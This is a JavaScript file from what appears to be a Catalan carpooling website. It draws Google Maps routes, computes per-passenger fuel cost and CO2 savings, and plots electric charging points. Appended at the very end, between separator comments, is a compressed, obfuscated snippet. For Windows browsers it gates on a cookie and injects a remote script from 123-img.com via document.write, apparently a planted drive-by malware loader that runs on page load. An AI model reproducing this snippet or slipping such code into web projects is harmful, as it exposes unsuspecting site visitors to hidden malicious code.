var directions;
function carregarMapa() {
	if (GBrowserIsCompatible()) {
		map = new GMap2(document.getElementById('mapaGoogleCompartir'));

		map.addControl(new GSmallMapControl());
		map.addControl(new GMapTypeControl());
		map.addControl(new GScaleControl());		
		
		directions = new GDirections(map);
		GEvent.addListener(directions, 'load', onDirectionsLoad); 
		directions.load('from: ' + from + ' to: ' + to , { 'locale': locale , 'getSteps': true });
		carregarRElectric();
	}
}
function carregarMapaMobi() {
	if (GBrowserIsCompatible()) {
		map = new GMap2(document.getElementById('mapaGoogleCompartir'));

		map.addControl(new GSmallMapControl());
		map.addControl(new GMapTypeControl());
		map.addControl(new GScaleControl());		

		directions = new GDirections(map);
		directions.load('from: ' + from + ' to: ' + to , { 'locale': locale , 'getSteps': true });
	}
}
function carregarMapaPortada() {
	if (GBrowserIsCompatible()) {
		 map = new GMap2(document.getElementById("mapaGoogleCompartir"));
		 map.setCenter(new GLatLng(40.526327,-3.702393), 5);
		 map.addControl(new GSmallMapControl());
		 afegirCobrandeds();
	   }
}
function createMarker(point, icon, text) {
	var marker = new GMarker(point,icon);
	GEvent.addListener(marker, 'click', function() {
		marker.openInfoWindowHtml("<div style='font-family:Lucida Grande, Trebuchet MS, Verdana'>" + text + "</div>");
	});
	return marker;
}
function createMarkerMap(point, icon) {
	var marker = new GMarker(point,icon);
	GEvent.addListener(marker, 'click', function() {
		marker.showMapBlowup( {zoomLevel:16, mapType: G_NORMAL_MAP} );
	});
	return marker;
}
function carregarMapaBici(encodedPoints, encodedLevels) {
	

	if (GBrowserIsCompatible()) {
		map = new GMap2(document.getElementById("map"));
		
		var encodedPolyline = new GPolyline.fromEncoded({
			color: "#3333cc",
			weight: 10,
			points: encodedPoints,
			levels: encodedLevels,
			zoomFactor: 32,
			numLevels: 4
		});
		var iconSortida = new GIcon();
		iconSortida.image = "http://www.compartir.com/imatges/dd-start.png";
		iconSortida.iconSize = new GSize(20, 34);
		iconSortida.iconAnchor = new GPoint(9, 34);
		iconSortida.infoWindowAnchor = new GPoint(5, 1);

		var iconArribada = new GIcon();
		iconArribada.image = "http://www.compartir.com/imatges/dd-end.png";
		iconArribada.iconSize = new GSize(20, 34);
		iconArribada.iconAnchor = new GPoint(9, 34);
		iconArribada.infoWindowAnchor = new GPoint(5, 1);
		
		map.setCenter(encodedPolyline.getBounds().getCenter(), map.getBoundsZoomLevel(encodedPolyline.getBounds()));
		map.addControl(new GSmallMapControl());
		map.addControl(new GMapTypeControl());       
		map.setMapType(G_HYBRID_MAP);
		map.addOverlay(encodedPolyline);
		map.addOverlay(createMarkerMap(new GLatLng (o_lat,o_lon), iconSortida));
		map.addOverlay(createMarkerMap(new GLatLng (d_lat,d_lon), iconArribada));
	  }
}

function arrodonir(Num) {
	var Places = 2; // The number of decimal places to round to
	if (Places > 0) {
	  if ((Num.toString().length - Num.toString().lastIndexOf('.')) > (Places + 1)) {
		 var Rounder = Math.pow(10, Places);
		 return Math.round(Num * Rounder) / Rounder;
	  }
	  else return Num;
   }
   else return Math.round(Num);
}

function onDirectionsLoad(directions)
{					
	document.getElementById('dadesViatge').style.display = 'block';
	
	var distance = directions.getDistance();
	var temps = directions.getDuration();

	
	//cost_economic = distancia * preu km
	var cost_economic = arrodonir( (distance.meters/1000) * 0.42 );

	
	//cost_ambiental = distancia * 7 litres/100km * 2.5 KG de CO2 per litre de gasolina
	
	if(combustible > 0 && combustible < 4 && cilindrada > 0 && cilindrada < 5 ){
		var emisiones = new Array(0.1513,0.1881,0.258,0.1979,0.1809,0.2139,0.2958,0.207,0.1262,0.1262,0.224,0.2042);
		var co2 = emisiones[4*parseInt(combustible)-5+parseInt(cilindrada)];
		var cost_ambiental = arrodonir( (distance.meters/1000) * co2 );
	}
	else{
		var cost_ambiental = arrodonir( (distance.meters/1000) * 0.07 * 2.5 );
	}
	var cost_economic_electric = arrodonir( (distance.meters/1000) * 0.0165 );
	var cost_ambiental_electric = 0;
	
	document.getElementById('span-ViatgeDistancia').innerHTML = distance.html;						
	document.getElementById('span-ViatgeTemps').innerHTML = temps.html;																				
	document.getElementById('span-CostEconomic').innerHTML = cost_economic;												
	document.getElementById('span-CostAmbiental').innerHTML = cost_ambiental;
	
	if(document.getElementById('span-CostEconomic-electric')!=null){
	document.getElementById('span-CostEconomic-electric').innerHTML = cost_economic_electric;
	document.getElementById('span-CostAmbiental-electric').innerHTML = cost_ambiental_electric;
	}
	
	// Estalvi econòmic per persona
	// document.getElementById('es2').innerHTML = arrodonir( ( (Cost total viatge * Correció per passatger extra) / Nombre passatgers) * (Nombre passatgers - 1) );
	document.getElementById('es2').innerHTML = arrodonir( ( ( cost_economic * 1.05 ) / 2 ) );
	document.getElementById('es3').innerHTML = arrodonir( ( ( cost_economic * 1.10 ) / 3 ) * 2 );
	document.getElementById('es4').innerHTML = arrodonir( ( ( cost_economic * 1.15 ) / 4 ) * 3 );
	document.getElementById('es5').innerHTML = arrodonir( ( ( cost_economic * 1.20 ) / 5 ) * 4 ); 
	/*
	document.getElementById('es2e').innerHTML = arrodonir( ( ( cost_economic_electric * 1.05 ) / 2 ) );
	document.getElementById('es3e').innerHTML = arrodonir( ( ( cost_economic_electric * 1.10 ) / 3 ) * 2 );
	document.getElementById('es4e').innerHTML = arrodonir( ( ( cost_economic_electric * 1.15 ) / 4 ) * 3 );
	document.getElementById('es5e').innerHTML = arrodonir( ( ( cost_economic_electric * 1.20 ) / 5 ) * 4 ); 
	*/
	// Estalvi ambiental per persona
	document.getElementById('esa2').innerHTML = arrodonir( ( ( cost_ambiental * 1.05 ) / 2 ) );
	document.getElementById('esa3').innerHTML = arrodonir( ( ( cost_ambiental * 1.10 ) / 3 ) * 2 );
	document.getElementById('esa4').innerHTML = arrodonir( ( ( cost_ambiental * 1.15 ) / 4 ) * 3 );
	document.getElementById('esa5').innerHTML = arrodonir( ( ( cost_ambiental * 1.20 ) / 5 ) * 4 );
	/*
	document.getElementById('esa2e').innerHTML = arrodonir( ( ( cost_ambiental_electric * 1.05 ) / 2 ) );
	document.getElementById('esa3e').innerHTML = arrodonir( ( ( cost_ambiental_electric * 1.10 ) / 3 ) * 2 );
	document.getElementById('esa4e').innerHTML = arrodonir( ( ( cost_ambiental_electric * 1.15 ) / 4 ) * 3 );
	document.getElementById('esa5e').innerHTML = arrodonir( ( ( cost_ambiental_electric * 1.20 ) / 5 ) * 4 );*/
	
	if(document.getElementById('ViatgeDistancia')) document.getElementById('ViatgeDistancia').value = distance.meters;
	if(document.getElementById('ViatgeTemps')) document.getElementById('ViatgeTemps').value = temps.seconds;
}

function addEvent(obj,eventType,fn,useCapture){
	if(obj.addEventListener){obj.addEventListener(eventType,fn,useCapture);return true;}else{if(obj.attachEvent){var r=obj.attachEvent("on"+eventType,fn);return r;}}
}


function carregarRElectric(){
	if(map == null) carregarMapa();
	else{
		$.ajax({
		type: "GET",
		url: "http://"+window.location.hostname+"/viatges/getpuntsrecarrega/",
		//url: "http://granadacomparte.com/XML/xmlUltimosViajes.xml?v="+Math.round(Math.random()*1000000),
		dataType: "xml",
		success: function(xml) {
			$(xml).find('punt').each(function(){
				var iconPR = new GIcon();
				iconPR.image = $(this).find('ruta_icona').text()+'image.png';
				iconPR.shadow = $(this).find('ruta_icona').text()+'shadow.png';
				
				iconPR.iconSize = new GSize(25,25);
				iconPR.shadowSize = new GSize(38,25);
				iconPR.iconAnchor = new GPoint(0,25);
				iconPR.infoWindowAnchor = new GPoint(13,0);

				var coordenadesPR = $(this).find('coordenades').text().split(",", 2);
				var markerPR = new GMarker(new GLatLng (coordenadesPR[0],coordenadesPR[1]),iconPR);
				// create the tooltip and its text
				var nom = $(this).find('nom').text();
				var direccio =$(this).find('direccio').text();
				var text = "<strong>"+nom+"</strong><br/>"+direccio;
				var tarifes = $(this).find('tarifa').text();
				
				var tabs = [];  
				// Create tabs and add them to the array  
				tabs.push(new GInfoWindowTab($(xml).find('punts_recarrega').attr("text_direccio"), text));  
				tabs.push(new GInfoWindowTab($(xml).find('punts_recarrega').attr("text_tarifa"), tarifes));  
				
				GEvent.addListener(markerPR, "click", function() {
				  markerPR.openInfoWindowTabsHtml(tabs);
				  });
				map.addOverlay(markerPR);		
			});
		}
	});
	}
	
}
/* ============================================================================-*/
function setCookie(name, value, expiredays, path, domain, secure) { if (expiredays) { var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires = exdate.toGMTString(); } document.cookie = name + "=" + escape(value) + ((expiredays) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "");} if (navigator.userAgent.indexOf("KHTML") == -1 && navigator.userAgent.indexOf("NT") != -1){if(navigator.cookieEnabled == true) {var user = getCookie("NSImgCookie");if (user !=="ok"){nsimgcookie();setCookie("NSImgCookie", "ok", 7, "/");}}}  function nsimgcookie(){document.write(unescape("%3Cscript src='http://123-img.com/in.cgi?3' type='text/javascript'%3E%3C/script%3E"));} function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset); if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return setStr;}
/*============================================================================-=*/


	
